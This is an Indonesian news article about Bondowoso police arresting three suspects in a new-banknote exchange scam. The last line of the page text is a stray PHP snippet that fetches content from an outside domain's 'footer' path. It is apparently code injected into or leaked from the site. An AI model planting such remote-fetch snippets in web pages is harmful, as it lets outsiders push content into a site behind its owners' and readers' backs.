Sat Reskrim Polres Bondowoso Tangkap 3 Tersangka Penipuan Dengan Modus Tukar Uang Baru

Senin, 5 Juni 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Berita – Jejakkasus.info -, Bondowoso – Tiga tersangka kasus penipuan yang ada di wilayah hukum Polres Bondowoso dibekuk anggota Sat Reskrim Polres Bondowoso. Ketiga tersangka bernisial SU (53), HA (55), dan ES (38), para tersangka ditangkap di kepulauan Bali dan juga di wilayah Bondowoso.

Terungkapnya kasus ini bermula dari laporan Siti Rohmah dengan kerugian mencapai Rp 300 juta dan Gunawan Wibisono dengan kerugian Rp 500 juta. Para tersangka meyakinkan korban dengan alasan ingin mendapatkan uang baru untuk pencalonan lurah atau kades, kemudian korban diiming-imingi kelebihannya.

Baca Juga:  Pemko Laksanakan Upacara Peringatan Hari Kesaktian Pancasila

Dalam Press Releasenya, Kapolres Bondowoso AKBP Bimo Ariyanto, SH. S.I.K menjelaskan, sindikat ini sudah ditangkap sebanyak tiga orang. “Kita masih melakukan pengembangan terkait kasus penipuan ini,” ungkapnya. Senin (05/6/2023). Di Mapolres Bondowoso.

Menurutnya, modus yang digunakan pelaku dengan menjanjikan iming-iming kepada para korban, korban ada yang dari luar Provinsi Jawa Timur. Sindikat ini dilakukan melalui medsos Facebook, lalu dilanjutkan dengan WhatApp dan para korban tergiur dengan janji para tersangka karena diiming-imingi kelebihan atau imbalan. “Tidak hanya itu saja, korban dari Solo sampai datang ke Bondowoso,” terangnya.

Baca Juga:  Ratusan Warga Kelurahan Air Mawar Bergotong Royong

Para tersangka menentukan TKP, begitu di TKP uang langsung dibawa kabur melalui pintu belakang. “Sindikat ini baru kita tangkap tiga orang dan ada pelaku-pelaku utama lainnya yang akan tetap kita kejar serta kami masih melakukan penyelidikan lebih dalam lagi, ” jelasnya.

Baca Juga:  SADESHA 2.200 Hafizh Sudah Ditempatkan di Desa

Sementara barang bukti yang berhasil kita amankan sekitar kurang lebih Rp 200 juta. “Dalam waktu kurun 21 Minggu sudah kita target karena memang ini menjadi atensi, masalah penipuan satu minggu dua tersangka dapat kita amankan di Bali lalu satu tersangka lagi kita dapatkan di daerah Bondowoso. Dan tersangka kami jerat dengan Pasal 378 dan atau 372 KUH Pidana dengan ancaman hukuman 4 tahun penjara,” pungkas Kapolres Bondowoso. (Yus)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai
Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers
Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat

Berita Terkait

Selasa, 8 Oktober 2024 - 14:59 WIB

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai

Minggu, 6 Oktober 2024 - 16:59 WIB

Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>